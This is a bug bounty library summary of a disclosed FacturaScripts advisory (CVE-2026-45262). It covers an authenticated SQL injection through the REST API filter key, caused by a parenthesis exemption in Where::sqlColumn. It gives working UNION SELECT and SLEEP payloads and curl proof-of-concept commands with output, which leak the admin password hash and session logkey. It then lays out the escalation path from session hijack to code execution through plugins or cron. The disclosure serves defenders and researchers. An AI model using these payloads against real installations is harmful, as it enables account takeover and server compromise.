# FacturaScripts: Authenticated SQL injection in the FacturaScripts REST API filter parameter via parenthesis bypass in `Where::sqlColumn`

Scoped read-only FacturaScripts API token injects SQL via filter key containing parentheses, leaking admin password hash and logkey for full account takeover.

- Payout: Research
- Severity: critical
- Program: FacturaScripts
- Found by: offset
- Disclosed: 2026-07-14
- CVE: CVE-2026-45262
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-5qmh-x653-g8qj
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-5qmh-x653-g8qj
- Tags: area:web3 domain:api impact:ato impact:data-leak impact:rce kind:research platform:ghsa sev:critical tech:php tech:rest technique:source-review vuln:auth-bypass vuln:sqli

**Target:** REST API /api/3/<resource> filter parameter (Where::sqlColumn)
**Root cause:** Where::sqlColumn() returns any field name containing both '(' and ')' unescaped, intending to allow expression columns; API getWhereValues passes raw request filter keys into DataBaseWhere, so attacker-controlled SQL reaches the WHERE clause.
**Steps:**
1. Issue a scoped ApiKey with fullaccess=0 and ApiAccess allowget=1 on clientes only; confirm /api/3/users returns forbidden.
2. Send `GET /api/3/clientes?filter[(0)UNION SELECT IFNULL(password,2),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 FROM users WHERE(nick='admin')-- ]=` with the scoped Token header.
3. Read leaked admin bcrypt hash from the `cifnif` field of the JSON response.
4. Repeat with `IFNULL(logkey,2)` to leak the admin's fsLogkey session token.
5. Write `fsNick=admin` and `fsLogkey=<leaked>` into a cookie jar and request `/AdminPlugins`; 200 confirms admin session hijack.
6. Alternative: `filter[(SELECT(SLEEP(2)))]=zz` yields time-based blind injection; `/api/3/attachedfiles` has the same flaw via its own getWhereValues copy.
**How found:** Code review of the API filter pipeline: noticed getWhereValues only strips operator suffixes and passes the raw key to DataBaseWhere, then traced to Where::sqlColumn and spotted the string-presence parenthesis exemption intended for LOWER()/UPPER() expression columns; verified the getApiFieldsToHide and orderBy hardening commits did not cover this path.
**Exploitation:** Attacker holding a low-privilege API token scoped to GET clientes sends a single UNION SELECT in the filter key; the parenthesis exemption in sqlColumn concatenates it raw into WHERE, and the trailing `-- ` comments out the framework's `= '<value>' LIMIT`. Leaked password hash and logkey are returned through the clientes serialiser, bypassing User::getApiFieldsToHide(). The logkey is then replayed as the fsLogkey cookie to obtain an admin web session, reaching /AdminPlugins (arbitrary plugin code), /EditUser, and /Cron for RCE.
**Escalation:** Read-only token -> arbitrary table read -> admin logkey leak -> admin web session -> plugin install / cron for server-side code execution.
**Insight:** When a framework whitelists 'expression' identifiers by checking for '(' and ')' presence rather than parsing a grammar, every caller that forwards user-controlled field names (API filters, sort, groupBy) becomes injectable; grep for such presence checks and trace all ingress points, and note that column deny-lists bound to a model serialiser are bypassed by UNIONing into a different model's response.

## Proof of concept (copied exactly from the original report)

**UNION SQLi leaking admin password hash**

```
$ URL='http://127.0.0.1:8081/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D='
$ curl -s "$URL" -H "Token: low-scoped-token-clientes-only" | python3 -m json.tool | head -3
[
    {
        "cifnif": "$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO",
```

**UNION SQLi leaking admin logkey**

```
$ URL='http://127.0.0.1:8081/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28logkey%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D='
$ curl -s "$URL" -H "Token: low-scoped-token-clientes-only" | python3 -m json.tool | head -3
[
    {
        "cifnif": "HyZJB2eEyo5eC9Eyhn96qxbQkFDqHJss1d1lED0HEHE2ujoPPGRnUstsWd3kS25CieoLkHvsN4X1YGUt1iqXh1ZFMP0jgHFmeBW",
```

**Time-based blind SLEEP injection**

```
$ curl -s "http://127.0.0.1:8081/api/3/clientes?filter%5B%28SELECT%28SLEEP%282%29%29%29%5D=zz" -H "Token: low-scoped-token-clientes-only"
[]
$ # observe two-second wall-clock delay; mysqld general log shows
$ #   SELECT COUNT(*) as _count FROM `clientes` WHERE (SELECT(SLEEP(2))) = 'zz' LIMIT 1 OFFSET 0
```

